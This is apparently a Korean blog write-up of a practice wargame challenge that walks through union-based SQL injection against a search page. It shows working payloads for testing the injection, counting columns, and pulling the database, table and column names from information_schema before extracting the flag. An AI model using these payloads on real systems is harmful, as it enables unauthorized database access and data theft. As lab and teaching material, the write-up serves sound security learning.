-
SQL Injection - 1wargame/segfault 2024. 6. 17. 09:05
/sqli_1/ 에 접속하면 /sqli/search.php로 redirect 된다.
검색창에 존재하는 검색옵션은 User ID 밖에 없다. 지금 보이는 유저중에 mario를 검색해보겠다.
검색 시 동일한 페이지에 get 방식으로 search=mario로 담아서 보낸다. 결과는 mario가 정상적으로 출력된다. 그러나 검색페이지 이기 때문에 select문에서 like 연산자를 쓸 가능성이 높기 때문에 mario 전체를 검색하지 않고 ma 만 검색해보겠다.
결과는 다음과 같이 mario도 정상출력 되었고 그 뿐 아니라 normaltic도 출력되었다. 따라서 추측 가능한 sql문은 다음과 같다.
# SELECT * from member WHERE id like '%__%'
SQL Injection 가능성 확인
여기서 sql injection이 가능한지 판단하기 위해 삽입할 구는 다음과 같다.
# SELECT * from member WHERE id like '%__%' # mar%' and '1%'='1 을 삽입하면 # SELECT * from member WHERE id like '%mar%' and '1%'='1%' 이 된다.
여기서 normaltic은 빼고 mario만 출력하기 위해 mar으로 바꾸었다.
다음과 같이 정상적으로 출력이 되는 것을 확인할 수 있다. 따라서 검색창에서 sql injection이 가능하다고 판단된다.
SQL Injection을 이용한 Flag 찾기
먼저 sql 질의 결과가 화면에 출력되기 때문에 Union SQL Injection을 사용한다.
1. Column 개수 찾기
# order by 키워드를 이용해 column 개수를 찾는다. order by 3을 where문 뒤에 # 덧붙였는데 에러가 나지 않는다면, 현재 SELECT문에서 가져오는 column의 개수가 최소 3개라는 것이다. # 그렇기에 에러가 나서 아무것도 출력 되지 않는 지점의 전까지 입력한 숫자가 column 개수이다. # mar%' order by 4 # 삽입 # SELECT * from member WHERE id like '%__%' # SELECT * from member WHERE id like '%mar%' order by 4 #%'
4로 보내면 정상적으로 출력되지만, 5로 바꿔서 출력하면 아무것도 출력되지 않는다.
따라서 column의 개수는 4개이다.
2. 출력되는 column 위치 찾기
union select를 사용해서 column이 어디에서 출력되는지 확인한다.
# mar%' union select 1,2,3,4 # 를 삽입한다. # SELECT * from member WHERE id like '%__%' # SELECT * from member WHERE id like '%mar%' union select 1,2,3,4 #%' # 이 된다
원래 select문에서 나온 mario가 가장 위에 나오고, 그 다음에 union으로 덧붙여진 데이터들이 나온다. 여기서는 column 4개가 모두 출력되는 것을 알 수 있다. 따라서 나는 데이터를 추출하기 위해 column 첫번째 자리를 사용하도록 하겠다.
3. DB 이름 확인
db 종류마다 database 이름을 출력하는 방법이 다르다. 여기서는 mysql을 기준으로 설명한다.
# mysql에서 db이름을 출력하기 위해선 SELECT database()를 하면 된다. # 따라서 union 절의 첫번째 column 자리에 database() 를 삽입한다. # SELECT * from member WHERE id like '%__%' 에 # mar%' union select database(),2,3,4 # 를 삽입하여 # SELECT * from member WHERE id like '%mar%' union select database(),2,3,4 #%' # 가 된다.
mar%' union select database(),2,3,4 # 삽입.
얻어낸 DB 이름: sqli_1
4. Table 이름 확인
# mysql에서 Table 이름을 출력하기 위해선 # SELECT table_name from information_schema.tables where table_schema='db이름' # 을 삽입하면 된다. 바로 전 단계에서 얻어낸 db이름이 sqli_1이었으므로 이것을 삽입하면 결국 # SELECT table_name from information_schema.tables where table_schema='sqli_1' # 이 된다. 뽑아낼 column에 해당하는 table_name을 아까와 같이 삽입하고 # from 부터 뒷부분은 union 가장 뒤에 삽입하면 된다. # 따라서 union 절의 첫번째 column 자리에 table_name 를 삽입한다. # 그리고 union 절 마지막 column 뒤에 from information_schema.tables where table_schema='sqli_1' # 을 삽입한다. # SELECT * from member WHERE id like '%__%' 에 # mar%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' # 를 삽입하여 # SELECT * from member WHERE id like '%mar%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' #%' # 가 된다.
mar%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' # 삽입
얻어낸 Table 이름: flag_table, plusFlag_Table, user_info
여기서 우리는 flag_table으로 계속 진행한다.
5. column 이름 확인
# mysql에서 column 이름을 출력하기 위해선 # SELECT column_name from information_schema.columns where table_name='table이름' # 을 삽입하면 된다. 바로 전 단계에서 얻어낸 table 이름이 flag_table이었으므로 이것을 삽입하면 결국 # SELECT column_name from information_schema.columns where table_name='flag_table' # 이 된다. 뽑아낼 column에 해당하는 column_name을 아까와 같이 삽입하고 # from 부터 뒷부분은 union 가장 뒤에 삽입하면 된다. # 따라서 union 절의 첫번째 column 자리에 column_name 를 삽입한다. # 그리고 union 절 마지막 column 뒤에 from information_schema.columns where table_name='flag_table' # 을 삽입한다. # SELECT * from member WHERE id like '%__%' 에 # mar%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' # 를 삽입하여 # SELECT * from member WHERE id like '%mar%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' #%' # 가 된다.
mar%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' # 삽입
column 이름: flag
6. Data 추출
이제 column이름도 알고, table 이름도 알기 때문에 union 절에 알아서 맞추면 된다.
# SELECT * from member WHERE id like '%__%' 에 # mar%' union select flag,2,3,4 from flag_table # 을 삽입하면 # SELECT * from member WHERE id like '%mar%' union select flag,2,3,4 from flag_table #%' # 이 되어 데이터가 추출된다.
ma%' union select flag,2,3,4 from flag_table # 삽입
다음과 같이 데이터가 정상 출력되면서 flag를 획득했다.
'wargame > segfault' 카테고리의 다른 글
SQL Injection - Error Based SQLi Basic (0) 2024.06.17 SQL Injection - 2 (0) 2024.06.17 Authentication Bypass - Secret Login (0) 2024.06.16 Authentication Bypass - Login Bypass 5 (0) 2024.06.16 Authentication Bypass - Login Bypass 4 (0) 2024.06.16